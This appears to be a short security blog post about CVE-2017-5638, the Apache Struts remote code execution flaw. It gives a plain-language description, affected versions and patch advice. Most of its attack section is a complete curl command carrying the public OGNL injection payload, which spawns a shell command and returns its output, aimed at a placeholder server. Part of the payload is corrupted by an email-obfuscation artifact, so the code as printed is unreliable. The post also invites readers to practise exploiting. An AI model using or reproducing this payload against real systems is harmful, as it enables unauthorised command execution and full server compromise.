Listen to this Post
How the mentioned CVE works:
The CVE-2017-5638 vulnerability resides in the Jakarta Multipart parser of Apache Struts. The exploit functions by submitting a malicious Content-Type header within an HTTP request to a Struts-powered application. The parser incorrectly processes this header when handling file uploads. Specifically, it fails to properly validate and sanitize the header’s value before passing it to the internal Object-Graph Navigation Language (OGNL) expression evaluator. An attacker can craft an OGNL expression within the Content-Type header itself. This expression is then executed on the server side with full application privileges. This mechanism allows for remote command execution, enabling an attacker to run arbitrary system commands on the underlying server, leading to a complete compromise of the host.
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: Patch available
What Undercode Say:
`curl -H “Content-Type: %{(_=’multipart/form-data’).([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[‘com.opensymphony.xwork2.ActionContext.container’]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd=’whoami’).(iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(cmds=(iswin?{‘cmd.exe’,’/c’,cmd}:{‘/bin/bash’,’-c’,cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}” http://vulnerable-server.com/struts2-blank/example/HelloWorld.action`
How Exploit:
Craft malicious HTTP request. Inject OGNL in header. Execute system commands.
Protection from this CVE:
Apply vendor patch. Upgrade Struts version. Use alternative parser.
Impact:
Full server compromise. Arbitrary command execution. Data breach.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
